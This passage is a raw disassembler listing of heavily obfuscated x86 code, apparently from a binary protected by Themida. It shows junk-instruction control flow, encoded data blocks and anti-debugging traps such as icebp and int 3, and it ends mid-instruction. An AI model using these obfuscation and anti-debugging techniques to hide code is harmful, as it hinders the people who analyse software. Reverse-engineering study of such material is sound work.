sub_57DD3A+1C3CFj mov word ptr [esp-18h+arg_12+2], cx jmp loc_59E0B5 ; --------------------------------------------------------------------------- loc_5A2DF1: ; CODE XREF: sub_57DD3A+13404j add esp, 4 mov eax, [esp+68h+var_68] push edi mov edi, esp push ebp mov ebp, 592B66DFh shr ebp, 4 push edx jmp loc_58ECC6 ; --------------------------------------------------------------------------- loc_5A2E0C: ; CODE XREF: sub_57DD3A+17B1Fj mov ebp, 74046726h and edi, ebp push [esp+80h+var_80] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+84h+var_84] jmp loc_59CA13 ; --------------------------------------------------------------------------- loc_5A2E2A: ; CODE XREF: sub_57DD3A+1F574j pop edx sub edi, esi pop esi xor esi, edi pop edi xor eax, esi pop esi jmp loc_59582D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp-12h+arg_E], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A2E49: ; CODE XREF: sub_57DD3A+1CBD8j mov [esp+1Ah+var_1A], ebx pop ebp jmp loc_59C707 ; --------------------------------------------------------------------------- loc_5A2E52: ; CODE XREF: sub_57DD3A+12905j mov ecx, ebp pop ebp add ebp, ecx pop ecx jmp loc_59A76F ; --------------------------------------------------------------------------- loc_5A2E5D: ; CODE XREF: sub_57DD3A+25394j push eax mov eax, 0A670EC30h add edi, eax pop eax sub eax, edi jmp loc_593ED7 ; --------------------------------------------------------------------------- loc_5A2E6D: ; CODE XREF: sub_57DD3A+1DE69j or ecx, 68C550A2h xor ecx, 68E02689h add ecx, 71501B82h and ecx, 2925247Fh sub ecx, 663A4567h push 4D27h mov [esp+4Ah+var_4C+2], edx jmp loc_59E749 ; --------------------------------------------------------------------------- loc_5A2E98: ; CODE XREF: sub_57DD3A+224EEj mov ebx, [esp+64h+var_64] add esp, 4 inc ebx add ebx, 20082222h jmp loc_59FCD4 ; --------------------------------------------------------------------------- loc_5A2EAD: ; CODE XREF: sub_57DD3A+10B2Ej push edx mov edx, 4 jmp loc_59A832 ; --------------------------------------------------------------------------- loc_5A2EB8: ; CODE XREF: sub_57DD3A+24F8Ej pop edi xor eax, [esp+20h+var_22+2] xor [esp+20h+var_22+2], eax xor eax, [esp+20h+var_22+2] jmp loc_59E86F ; --------------------------------------------------------------------------- loc_5A2EC7: ; CODE XREF: sub_57DD3A+228DBj pop eax pop edx loc_5A2EC9: ; CODE XREF: sub_57DD3A+22678j push 5AC0h jmp loc_593B6A ; --------------------------------------------------------------------------- loc_5A2ED3: ; CODE XREF: sub_57DD3A+143D4j mov ebx, esp push esi mov esi, esp jmp loc_59175E ; --------------------------------------------------------------------------- loc_5A2EDD: ; CODE XREF: sub_57DD3A+13DACj add eax, 24293DB3h jmp loc_59978E ; --------------------------------------------------------------------------- loc_5A2EE7: ; CODE XREF: sub_57DD3A+247BBj pop ebx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+58h+var_58] xor [esp+58h+var_58], ebx jmp loc_597500 ; --------------------------------------------------------------------------- loc_5A2EFF: ; CODE XREF: sub_57DD3A+15DD0j sub ecx, 29E0B33Bh mov edx, ecx pop ecx xor edx, 793E4AC8h sub ecx, edx pop edx push eax mov eax, 41B611B6h sub eax, 0FFFFFFFFh shr eax, 4 neg eax sub eax, 63FE3251h shr eax, 4 sub eax, 696DDE78h xor ecx, eax pop eax add ebx, ecx pop ecx jmp loc_599176 ; --------------------------------------------------------------------------- loc_5A2F39: ; CODE XREF: sub_57DD3A+20B81j add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp+0Ch+var_E+2] mov esp, [esp+0Ch+var_E+2] push edi mov edi, esp jmp loc_59A651 ; --------------------------------------------------------------------------- loc_5A2F56: ; CODE XREF: sub_57DD3A+1897Dj pop eax jmp loc_598F42 ; --------------------------------------------------------------------------- loc_5A2F5C: ; CODE XREF: sub_57DD3A+1CE6Ej mov [esp+58h+var_58], ebp jmp loc_5A065B ; --------------------------------------------------------------------------- loc_5A2F64: ; CODE XREF: sub_57DD3A+1EC62j pop edi jmp loc_59D71B ; --------------------------------------------------------------------------- loc_5A2F6A: ; CODE XREF: sub_57DD3A+1068Ej xor ebp, 6BFD68A9h xor ebp, 426C23A7h sub ebp, 0E6E54ECEh sub ebx, ebp pop ebp sub ebx, 0A5A3B514h mov esi, ebx jmp loc_58EDF4 ; --------------------------------------------------------------------------- loc_5A2F8C: ; CODE XREF: sub_57DD3A+1827Bj sub eax, 427A331Eh jmp loc_597A72 ; --------------------------------------------------------------------------- loc_5A2F96: ; CODE XREF: sub_57DD3A+1FB28j or eax, eax jz loc_59309C push 63D9h mov [esp+50h+var_50], ebx push edi push ecx push 1EC466A2h pop ecx push ebx jmp loc_591B4E ; --------------------------------------------------------------------------- loc_5A2FB4: ; CODE XREF: sub_57DD3A+209D1j mov ebx, 0 add ebx, 4E5E6B88h add ebx, edx sub ebx, 4E5E6B88h push 46FBh jmp loc_59622F ; --------------------------------------------------------------------------- loc_5A2FD1: ; CODE XREF: sub_57DD3A+1497Aj sub ebx, ecx jmp loc_59F3D4 ; --------------------------------------------------------------------------- loc_5A2FD8: ; CODE XREF: sub_57DD3A+20773j add eax, 4 sub eax, 4 xchg eax, [esp+78h+var_78] mov esp, [esp+78h+var_78] mov [esp+78h+var_78], ebp push esi jmp loc_58E429 ; --------------------------------------------------------------------------- loc_5A2FEF: ; CODE XREF: sub_57DD3A+24D05j push edi mov edi, esp jmp loc_5A0BDA ; --------------------------------------------------------------------------- loc_5A2FF7: ; CODE XREF: sub_57DD3A+1CDE0j xor eax, ecx push ecx not [esp+40h+var_42+2] pop ecx xor eax, ecx jmp loc_598AAC ; --------------------------------------------------------------------------- loc_5A3005: ; CODE XREF: sub_57DD3A+22AEDj not al or al, 0ACh jmp loc_58FF80 ; --------------------------------------------------------------------------- loc_5A300E: ; CODE XREF: sub_57DD3A+1934Cj xor ecx, [esp-4+arg_0] pop esp xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A3020: ; CODE XREF: sub_57DD3A+224D7j push ecx push ebp mov ebp, 34BF5E9Dh mov ecx, 34BF5E99h xor ecx, ebp pop ebp sub eax, ecx jmp loc_59E50A ; --------------------------------------------------------------------------- loc_5A3036: ; CODE XREF: sub_57DD3A+21927j push 78AAh jmp loc_5A16CE ; --------------------------------------------------------------------------- loc_5A3040: ; CODE XREF: sub_57DD3A+128FAj xor edx, [esp+0] mov esp, [esp+0] bts [esp+0], ax pushf jmp loc_594DF9 ; --------------------------------------------------------------------------- loc_5A3051: ; CODE XREF: sub_57DD3A+2031Fj mov ebp, ebx pop ebx push eax push edx mov edx, 4F804FA2h mov eax, 5E601F48h xor eax, edx pop edx add eax, 114260Dh neg eax sub eax, 37373B39h jmp loc_597058 ; --------------------------------------------------------------------------- loc_5A3074: ; CODE XREF: sub_57DD3A+22328j inc ah jmp loc_5A25D9 ; --------------------------------------------------------------------------- loc_5A307B: ; CODE XREF: sub_57DD3A+1BE67j sub ax, 33AFh jmp loc_59FCC6 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0Eh+var_E] jmp loc_593442 ; --------------------------------------------------------------------------- loc_5A308D: ; CODE XREF: sub_57DD3A+1D925j add eax, 81E78754h sub ebx, eax pop eax push eax mov eax, 541B3C30h neg eax jmp loc_590916 ; --------------------------------------------------------------------------- loc_5A30A2: ; CODE XREF: sub_57DD3A+1B57Cj xor esi, 0ADFC164h sub ebx, esi jmp loc_59E33F ; --------------------------------------------------------------------------- loc_5A30AF: ; CODE XREF: sub_57DD3A+1B593j or edi, 6775ADEh push ecx mov ecx, 0C150B7Eh dec ecx add ecx, 59063FEEh xor edi, ecx mov ecx, [esp+34h+var_36+2] add esp, 4 dec edi jmp loc_5A2E5D ; --------------------------------------------------------------------------- loc_5A30D3: ; CODE XREF: sub_57DD3A+1EC41j add eax, 4 jmp loc_59A793 ; --------------------------------------------------------------------------- loc_5A30DD: ; CODE XREF: sub_57DD3A+241EBj push 1C1Fh mov [esp+46h+var_46], edx jmp loc_59A9EC ; --------------------------------------------------------------------------- loc_5A30EA: ; CODE XREF: sub_57DD3A+1494Fj add edx, 12D253E6h jmp loc_58F3C2 ; --------------------------------------------------------------------------- loc_5A30F5: ; CODE XREF: sub_57DD3A+1F744j pop ebx pop ecx not ecx jmp loc_5A1E97 ; --------------------------------------------------------------------------- loc_5A30FE: ; CODE XREF: sub_57DD3A+1427Ej pop esi pop esi xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp mov ax, word ptr [esp-6+arg_0+2] push ebp sub esp, 4 mov [esp+2+var_4+2], esp add [esp+2+var_4+2], 4 mov ebp, [esp+2+var_4+2] add esp, 4 push ebx mov ebx, 20DE7F2Ch sub esp, 4 mov [esp+6+var_8+2], edi mov edi, 30520B11h xor ebx, edi mov edi, [esp+6+var_8+2] add esp, 4 jmp loc_59599F ; --------------------------------------------------------------------------- loc_5A3143: ; CODE XREF: sub_57DD3A+13285j push 4031h mov [esp+1Eh+var_1E], ebp mov ebp, esp push ebx push eax push esi mov esi, 357A6F7Ah jmp loc_58F6C6 ; --------------------------------------------------------------------------- loc_5A315A: ; CODE XREF: sub_57DD3A+22D27j add esi, 4 push 2BC6h mov [esp+2Eh+var_2E], ebp jmp loc_59483D ; --------------------------------------------------------------------------- loc_5A316D: ; CODE XREF: sub_57DD3A+20C1Ej push ebp mov ebp, 3FF3507Fh jmp loc_5A253D ; --------------------------------------------------------------------------- loc_5A3178: ; CODE XREF: sub_57DD3A+14006j xchg eax, [esp+2+var_4+2] pop esp add ebp, 0ADD39CCh sub ebp, ecx sub ebp, 0ADD39CCh jmp loc_593672 ; --------------------------------------------------------------------------- loc_5A318F: ; CODE XREF: sub_57DD3A+14325j mov esp, [esp+14h+var_16+2] or byte ptr [esp+14h+var_16+2], al pushf jmp loc_591376 ; --------------------------------------------------------------------------- loc_5A319B: ; CODE XREF: sub_57DD3A+17255j xor edi, 3D5F194Dh add edx, edi jmp loc_59589A ; --------------------------------------------------------------------------- loc_5A31A8: ; CODE XREF: sub_57DD3A+1841Aj push ebx inc [esp+2+var_4+2] pop ebx push esi mov esi, 0E5C43F2h jmp loc_598245 ; --------------------------------------------------------------------------- loc_5A31B8: ; CODE XREF: sub_57DD3A+17C72j sub ebx, 643D3C8Ch shr ebx, 4 xor ebx, 8B364F7h push ecx mov ecx, 6F3C79A9h push ebp jmp loc_5A2ABA ; --------------------------------------------------------------------------- push 4ADBh mov [esp+7Ch+var_7C], edi jmp loc_59B11B ; --------------------------------------------------------------------------- loc_5A31E0: ; CODE XREF: sub_57DD3A+15AE5j not bh sub bh, 98h sub esp, 4 mov [esp+1Ch+var_1E+2], edx mov dl, 0D2h shr dl, 7 push ecx mov ch, 2Bh jmp loc_59DB74 ; --------------------------------------------------------------------------- loc_5A31F8: ; CODE XREF: sub_57DD3A+1122Ej xor edi, 74453657h xor edi, 0F0BB8180h add ecx, edi pop edi add ecx, 4 xor ecx, [esp+32h+var_32] xor [esp+32h+var_32], ecx xor ecx, [esp+32h+var_32] pop esp pop [esp+2Eh+var_2E] mov esp, [esp+2Ah+var_2A] pop [esp+2Ah+var_2A] mov esp, [esp+26h+var_26] mov word ptr [esp+26h+var_26], dx jmp loc_59D163 ; --------------------------------------------------------------------------- loc_5A3229: ; CODE XREF: sub_57DD3A+168D7j pop dx sub al, ch mov ecx, [esp+2+var_4+2] add esp, 4 add al, dh push ebx mov bl, 82h dec bl inc bl add bl, 0EBh add bl, 43h jmp loc_59D3E6 ; --------------------------------------------------------------------------- loc_5A324A: ; CODE XREF: sub_57DD3A+12693j add edx, 638D3216h xor edx, 0B9B3BC69h add edi, edx pop edx add ebx, 3A4E4CFDh add ebx, edi sub ebx, 3A4E4CFDh pop edi push eax mov eax, 4 jmp loc_592CD9 ; --------------------------------------------------------------------------- loc_5A3273: ; CODE XREF: sub_57DD3A+18A57j add ecx, 22636F1Fh push eax mov eax, 124F5865h push eax not [esp+18h+var_1A+2] mov eax, [esp+18h+var_1A+2] add esp, 4 shl eax, 5 add eax, 99C372F7h jmp loc_5A02F7 ; --------------------------------------------------------------------------- loc_5A3296: ; CODE XREF: sub_57DD3A+19C3Aj mov esp, [esp+68h+var_68] add esp, 4 push eax mov eax, 65C936B5h shr eax, 2 not eax add eax, 19724DB2h jmp loc_59921A ; --------------------------------------------------------------------------- loc_5A32B4: ; CODE XREF: sub_57DD3A+10654j pop esp jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A32BA: ; CODE XREF: sub_57DD3A+24810j push dword ptr [eax] mov ecx, [esp+12h+var_12] push edx push esp jmp loc_59B4D5 ; --------------------------------------------------------------------------- loc_5A32C6: ; CODE XREF: sub_57DD3A+1ED5Dj pop eax pop eax push ebp jmp loc_596355 ; --------------------------------------------------------------------------- loc_5A32CE: ; CODE XREF: sub_57DD3A+18C9Bj mov edx, 2 push eax mov eax, 6A124184h inc eax push edi mov edi, 1CBA77B9h shl edi, 2 neg edi jmp loc_5966EC ; --------------------------------------------------------------------------- loc_5A32EA: ; CODE XREF: sub_57DD3A+1AF13j mov dh, 2Ch or cl, dh pop dx push bx mov bl, 10h add cl, 6 add cl, bl jmp loc_598FF6 ; --------------------------------------------------------------------------- loc_5A32FE: ; CODE XREF: sub_57DD3A+3863j jmp loc_5A3344 ; --------------------------------------------------------------------------- db 0A6h dd 555CF379h, 33524553h, 6C642E32h, 4441006Ch, 49504156h dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 507D800h dd 6000200h, 26001100h, 8E002200h, 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3344: ; CODE XREF: sub_57DD3A:loc_5A32FEj jmp loc_5A3CBF ; --------------------------------------------------------------------------- push 6179A23h jmp loc_581882 ; --------------------------------------------------------------------------- push 6179AB9h jmp loc_581882 ; --------------------------------------------------------------------------- push 6179BF2h jmp loc_581882 ; --------------------------------------------------------------------------- push 6179D6Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 6179DCFh jmp loc_581882 ; --------------------------------------------------------------------------- push 6179EBFh jmp loc_581882 ; --------------------------------------------------------------------------- push 6179F32h jmp loc_581882 ; --------------------------------------------------------------------------- db 84h dd 44DBBA2Ah, 93A075E5h, 0FC33C232h, 0BA690C7Ch, 6E2DC838h dd 9000823Dh, 59C92E05h, 950567BCh, 60D03300h, 0A91C4295h dd 16916B60h, 0B2B28A0Bh, 0B8E89859h, 0FB3B1FA6h, 8042169Bh dd 93F89CC5h, 614E5F16h, 1072BF9Dh, 0F19976A0h, 7405A2D2h dd 79A94DECh, 0D3BF7065h, 0B007291Eh, 19C184DAh, 0E4C973CCh dd 293E63E2h, 0ECBDF682h, 62E1FBC3h, 0F682293Fh, 3264D431h dd 38D2E35Dh, 0A4CC6CFEh, 0E39009EDh, 91AD82D8h, 98C8B332h dd 55D5C2F0h, 0F3DCB1E5h, 0F52F1EBh, 0EEFC9CD3h, 0A272DDDh dd 547D48A9h, 0B5FC9CD3h, 9CD3CB0Eh, 3FE1B2FCh, 7FB4416Eh dd 78F18CFCh, 67D1DD9Dh, 7BCE54Dh, 0E7470000h, 30919E77h dd 7FFE35C0h, 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h dd 5900067h, 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h, 0E2169168h dd 0C7241B21h, 347D5F57h, 0A8F154B5h, 531086F2h, 137D6D42h dd 982B3363h, 169E8B4Dh, 74E4456Eh, 0F99D4D42h, 9F1D1628h dd 6B42873Eh, 18291691h, 0DBFC5E37h, 0E3DBB1CCh, 98E80A10h dd 2B55E79h, 1282E72Ch, 0D23F2B24h, 1F140272h, 54B5109Ch dd 91FCA8F1h, 6D425316h, 7956C626h, 0E0B125A4h, 3CB8BEB7h dd 726h, 24F161DDh, 5B3AAA0Fh, 1CF969C4h, 6431A107h, 1AFB6BCFh dd 2F930E7Dh, 0E649D6BFh, 34909F76h, 810231C4h, 8B538411h dd 916891B8h, 0A19B5C16h, 72E2624Fh, 0F2B0D96Ch, 6A3B1086h dd 0C0309380h, 0EE5EDDD6h, 8934C5A8h, 0A81E3DC0h, 64C397h dd 24D70000h, 0EC4D66C7h, 0E0453A7Ch, 1086F2B9h, 0B95C7344h dd 0F297B673h, 6AC91086h, 0F2173A09h, 0D4D61086h, 86F22871h dd 0EDC2D310h, 0F8D747A6h, 8200311Dh, 3F2B2412h, 6975A559h dd 9C64BEDAh, 506E3F16h, 6D71E163h, 808DD46Fh, 5F701693h dd 0F153E0ABh, 249FBD81h, 169380FDh, 51BBAF80h, 671F1h dd 864FC500h, 3B9D7Ah, 0E736A74Fh, 165EBFB5h, 63E05139h dd 0D8D9C3F3h, 99FFEB5Bh, 0D801C4E5h, 16108698h, 0B17A2696h dd 2E6106FAh, 0C5EAC577h, 0B58A4AF9h, 5A6B169Bh, 7B0764BBh dd 0B18E88F8h, 4697C09Eh, 0D3CAE50Ch, 0D8F767C5h, 0A3536332h dd 92D86B73h, 1B108B57h, 7DFF340Ah, 39BB680Dh, 5CE7F5C9h dd 1CAB8735h, 903E7B8h, 0FD89EE43h, 350A0C7Ch, 40C3701Ah dd 49C84DD0h, 151FB1CAh, 5EDADh, 28981600h, 0E353D64Dh dd 30A01D12h, 0FA6ACE65h, 36A6041Bh, 5043485Fh, 3CF382F2h dd 75AA4BBBh, 41EE87F7h, 10C352C2h, 6952774Eh, 58191691h dd 57C724E4h, 0B4347D5Fh, 0F2A9F053h, 43541086h, 0B5552A6Ch dd 638FF774h, 9F96027Ah, 391E200Fh, 0B17C0931h, 10FEEC1Dh dd 0E72F9F23h, 8E091F1Eh, 3D7633EFh, 0D34B4BBBh, 3291614Ch dd 10860CEFh, 0AB92BD8Eh, 9AB6A30Ah, 0F210860Ah, 0A919B143h dd 0FEA73F97h, 5F7DFFFFh, 87FEBDE4h, 7B6F4010h, 57C72497h dd 91A64E87h, 6952774Eh, 8191086h, 42F4C72Fh, 77484EBEh dd 0F684B258h, 794C1242h, 169CC3DDh, 0C0E68FA0h, 370ED000h dd 1089FEC3h, 8F7DB98Ah, 910110C6h, 4B3FD1A4h, 0AD192C70h dd 8934DB1Ch, 0D4093DC0h, 193C3A3h, 0B2D70000h, 2A1B3C59h dd 40D3C1D2h, 0F1C9E5Ah, 2C03907Ch, 7CA4543Eh, 88F56CB0h dd 320C23C3h, 9B018F93h, 0C3278C16h, 0F6BEE362h, 6C3D1690h dd 2EF7A743h, 0F85B32CAh, 36C8E7F4h, 771F678Fh, 407010ECh dd 2503C77Eh, 0BDEAC96Ch, 0F6C7CF3Fh, 0C7CF3FBDh, 4BDDD9F6h dd 0E0637BABh, 0F09969E5h, 0C597A778h, 3459B590h, 0BA7344B4h dd 0C0711990h, 3E63E243h, 0BDFC9CEEh, 0B6FBC3ECh, 4726C434h dd 0E7F35BD8h, 3BDDC641h, 96BB8A54h, 55FC9C30h, 0FB926B44h dd 0E0D1DCFCh, 4746ED6h, 2F8F0000h, 0E849D6BFh, 27869D78h dd 0EF51DEB7h, 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh dd 6F0676F6h, 42D343C0h, 0D3F6CD91h, 9A16916Fh, 0BAB63D9h dd 0FCD903DBh, 30D649D7h, 8221C96Fh, 169EDD4Bh, 0C25390Ah dd 57C724B0h, 7EEE525Fh, 88977E51h, 697ABC2Ch, 0E6039A0Ah dd 79B7DFD0h, 410F77Bh, 93F30000h, 5CDD5223h, 9B1A09ECh dd 53D54A2Bh, 9D1D12E3h, 5853482Dh, 950565h, 0B95CCC33h dd 0FB9A0A6Ah, 0BE57C724h, 577A4915h, 1616916Fh, 0C724E755h dd 98E9A5Fh, 0CFE07045h, 0E959DAC7h, 0C737B4ADh, 8BAA06CFh dd 7B82E40Bh, 4D49B938h, 558E41E8h, 0AC617668h, 4554FEEh dd 0AC137E6Ch, 86456DADh, 8E169F10h, 1C97A8CDh, 0FFFFFCE1h dd 82864FF0h, 0E7EFF25h, 0F73FAC29h, 25951613h, 87B787F1h dd 0CEB40CB7h, 0E8B9169Ch, 0EA5ADDD6h, 5C37D3ACh, 935EB2D0h dd 18ABB3E3h, 169BFB30h, 85526C3Dh, 2B758F4h, 0ABF199DEh dd 8B828B18h, 252730BEh, 0E124C421h, 0BE2E9281h, 0E212E6CCh dd 69DC02DCh, 0BEAB2E20h, 0B510FACBh, 0B8B1D4EDh, 0F177BF90h dd 82411D4Dh, 0A2DEDF03h, 347D4152h, 81AE47B7h, 0E80B9202h dd 7B039F92h, 320F979h, 63E30000h, 0AC0D22F3h, 6BCA593Ch dd 0A3051AFBh, 6DCD6233h, 88318FDh, 0D0A51595h, 896CDC63h dd 0CBAA1A9Ah, 8E67D754h, 67AA1945h, 616916Ch, 0BABB785h dd 0D8D903DBh, 0D0ADE959h, 8B5C8B3Ah, 0A1B169Eh, 979FF34h dd 56D6DB61h, 0CE3EBCF5h, 0B4EF7C8h, 0F216916Bh, 0B8670E21h dd 0D9CACC3Ch, 8F23F25Ah, 0F2B7538Ah, 91340DDh, 6254B7E0h dd 2ADE2h, 68D85600h, 0A313968Dh, 70E05DD2h, 0BA2A8EA5h dd 76E644DBh, 1083089Fh, 7CB342B2h, 35EA8BFBh, 81AE47B7h dd 0D0039202h, 6D12370Eh, 18D91691h, 0DB0BAB24h, 0AE03D903h dd 256CD949h, 0C81086F2h, 0D040BCF7h, 8B5C8B3Ah, 0A1B169Eh dd 0E7EFF34h, 333A305h, 0DE600Ah, 6B2267DEh, 0F8C91691h dd 32A22112h, 5CE42B2Ch, 2FFBD443h, 67585ECEh, 0E3D3A248h dd 4EBFEE16h, 0EF71560Eh, 61834CC8h, 8AA5B20Eh, 95FD7FB4h dd 0E2A42601h, 0B6547BF7h, 0F775BEA0h, 20A28F87h, 0A68986B0h dd 4EC6D9C4h, 74451691h, 69D13142h, 0D76E6344h, 169168B2h dd 5B4F6839h, 75E546D6h, 66D6595Ah, 46705F30h, 0F152B09Fh dd 91190F52h, 0F2DDEE16h, 0F464C7ECh, 4B52D5C2h, 9C1F3971h dd 0EEBCD7B3h, 82411D4Dh, 16916C57h, 10211526h, 895343B3h dd 6FDF5E53h, 0AAEF5627h, 5116916Ch, 0FDBAA40h, 0B1129E22h dd 57785541h, 85F576B3h, 5FC043F0h, 916CBDE4h, 406F4016h dd 43B3357Eh, 0A6907A53h, 931A0E1Bh, 0A8189B2Ch, 65D556CDh dd 0F06A6B31h, 9CCD92Dh, 74F633D7h, 3E771204h, 53BB388Fh dd 0D216DFF7h, 0B1446B24h, 2697A8ADh, 0DCFF7D36h, 4BCBADDAh dd 95755A8Bh, 70A61694h, 0E950D811h, 0E571D1F6h, 213D1282h dd 0C041883Bh, 1B2C1691h, 0F93A246Fh, 300D0979h, 0E959D95Ah dd 0C838B4ADh, 8F3EE7CEh, 87CA7963h, 661691C0h, 4B4BBB39h dd 7CAD5D72h, 63E78EFEh, 0CC42ED72h, 23C79A3Eh, 211585E6h dd 7FA2213Bh, 0FE1691D5h, 755E3D2Dh, 89CEED7Eh, 0E52C97C5h dd 88AE0C7Ch, 0F1DCD3B7h, 10E555D6h, 630A023h, 26961B18h dd 0BE6B1FF0h, 0D9CACC3Ch, 0B9AAEC5Ch, 0A436CF37h, 90FF2D5h dd 0A415F026h, 7FE6AA39h, 84F47750h, 51C142F1h, 0DE657765h dd 0AE0CE2BBh, 8667142h, 0B8B0A9A8h, 7D417713h, 7BDA5855h dd 209DC5EAh, 0AEB09FB0h, 113F7F17h, 112DFEA8h, 3C51784Bh dd 0B1CD419h, 0D2A6145Fh, 0D0299CA2h, 5BD20145h, 0D4574C4Ah dd 777D5A64h dd 3DAD1280h, 143304F9h, 0BD2D8FD3h, 869DF892h, 281B525h dd 0A1DC2794h, 935F4ED5h, 6AB0C3C2h, 0B654F34Dh, 0EF86F675h dd 6353C340h, 0B9E06379h, 0DB351AFEh, 134296ABh, 1D2E9259h dd 0CC3CBC6Dh, 0E757D9CAh, 0DC3DC2AFh, 1A942069h, 0D5FACB35h dd 8C33E2E1h, 476C6E57h, 0C03D76E6h, 0D0FFBA50h, 710474F7h dd 0E5D141C2h, 115Dh, 0D6565B00h, 86673066h, 373C2564h dd 4AF298B7h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h dd 55783C7Ah, 0C5815D54h, 4, 8704ED83h, 815C242Ch, 4ECh dd 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+4Ch+var_4C] pop esp mov [esp+0], ecx push edx push 664237FBh mov edx, [esp+50h+var_50] add esp, 4 shl edx, 6 neg edx shl edx, 6 xor edx, 0DA97C960h mov ebp, edx pop edx push esp mov ecx, [esp+4Ch+var_4C] add esp, 4 push ebp push esi mov esi, 54C708A6h xor [esp+50h+var_4C], esi pop esi pop dword ptr [ecx+8] xor dword ptr [ecx+8], 54C708A6h push dword ptr [esp+0] pop ecx add esp, 4 mov ebp, [esp+44h+var_46+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 10h db 60h, 49h, 0CEh ; --------------------------------------------------------------------------- loc_5A3CBF: ; CODE XREF: sub_57DD3A:loc_5A3344j mov eax, 617A204h add eax, ebp jmp eax sub_57DD3A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 6B088B5h, 10EA340Ch, 33B5F825h, 42986CE4h, 4E77C4A1h dd 4BC04834h, 6D93F4A1h, 0A46D8A4h, 423FEF4Ah, 76DE4592h dd 1213933Ch, 10D66805h, 0F79F0D8h, 429A23E2h, 5B56EC73h dd 629AAA18h, 683347C6h, 34D7458Eh, 60455A79h, 0EF90B0Fh dd 848090Fh, 9E8h, 8E68D400h, 0CCF2516Bh, 12E9E5CDh, 4C000000h dd 9FB55104h, 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0C0815816h dd 70AEh, 0BE8h, 0DA5E6400h, 37AAC6ACh, 0B4655D39h, 0A1A5B95Eh dd 0E9814DDFh, 4DDF85B3h, 17BF108Bh, 810E5757h, 19D28DC2h dd 11E828h, 59AD0000h, 349D069Fh, 11FF97BDh, 864EE295h dd 0E91881CCh, 12h, 0AFB8943Dh, 4432489h, 8B1488DEh, 0FCE1F583h dd 815F1234h, 319252EAh, 12E906h, 0C0710000h, 0B434AE87h dd 0FF587185h, 30ECF368h, 0ED2BA960h, 0C12EC281h, 850F7D2Ch dd 4, 9B4BBF66h, 8A0F1089h, 0 ; --------------------------------------------------------------------------- sub eax, 4 dec ecx jnz loc_5A3DF5 add bl, 1Dh jmp loc_5A3E0B ; --------------------------------------------------------------------------- scasb shr ecx, 1 inc ebx mov ebx, 2574EC17h pushf cmp eax, 2F41543Dh loc_5A3DF5: ; CODE XREF: Themida_:005A3DD8j push ebx pop ebx jmp near ptr dword_5A3CC8+9Ch ; --------------------------------------------------------------------------- pop esp sal dword ptr [eax], 0EFh mov dh, 81h mov ds:3B28D89Bh, al xchg eax, ebp xchg eax, esp nop aas loc_5A3E0B: ; CODE XREF: Themida_:005A3DE1j jmp loc_5A3E9D ; --------------------------------------------------------------------------- pusha cmp dword ptr [ebp+6152E9Dh], 0 jz loc_5A3E23 jmp loc_5A3E9B ; --------------------------------------------------------------------------- loc_5A3E23: ; CODE XREF: Themida_:005A3E18j push 0 cmp byte ptr [esi], 30h jnz loc_5A3E36 push 0 inc esi jmp loc_5A3E6B ; --------------------------------------------------------------------------- loc_5A3E36: ; CODE XREF: Themida_:005A3E28j cmp byte ptr [esi], 33h jnz loc_5A3E47 push 10h inc esi jmp loc_5A3E6B ; --------------------------------------------------------------------------- loc_5A3E47: ; CODE XREF: Themida_:005A3E39j cmp byte ptr [esi], 34h jnz loc_5A3E58 push 30h inc esi jmp loc_5A3E6B ; --------------------------------------------------------------------------- loc_5A3E58: ; CODE XREF: Themida_:005A3E4Aj cmp byte ptr [esi], 35h jnz loc_5A3E69 push 40h inc esi jmp loc_5A3E6B ; --------------------------------------------------------------------------- loc_5A3E69: ; CODE XREF: Themida_:005A3E5Bj push 0 loc_5A3E6B: ; CODE XREF: Themida_:005A3E31j ; Themida_:005A3E42j ... cmp byte ptr [esi], 20h jnz loc_5A3E86 cmp byte ptr [esi+1], 0 jnz loc_5A3E86 add esp, 8 jmp loc_5A3E9B ; --------------------------------------------------------------------------- loc_5A3E86: ; CODE XREF: Themida_:005A3E6Ej ; Themida_:005A3E78j lea eax, [ebp+6151395h] nop push eax nop push eax mov [esp], esi push 0 call dword ptr [ebp+61506D5h] loc_5A3E9B: ; CODE XREF: Themida_:005A3E1Ej ; Themida_:005A3E81j popa retn ; --------------------------------------------------------------------------- loc_5A3E9D: ; CODE XREF: Themida_:loc_5A3E0Bj mov byte ptr [ebp+61509C5h], 4Dh push 0A7D03A13h xor dword ptr [esp], 3E54CBBh push dword ptr [ebp+6150789h] lea eax, [ebp+6153B38h] call eax mov [ebp+61506D5h], eax call loc_5A3EDD icebp int 3 ; Trap to Debugger call far ptr 1FEEh:1B26714Bh jz short near ptr loc_5A3EFF+3 adc al, 0C1h mov eax, 0A5ABEB52h pop ebx dec esp loc_5A3EDD: ; CODE XREF: Themida_:005A3EC4p mov [ebp+6152359h], ecx pop esi jns loc_5A3EF0 mov [ebp+615215Dh], ecx loc_5A3EF0: ; CODE XREF: Themida_:005A3EE4j add esi, 6918h pusha push ecx mov [ebp+615086Dh], ecx pop ebx loc_5A3EFF: ; CODE XREF: Themida_:005A3ED2j mov esi, 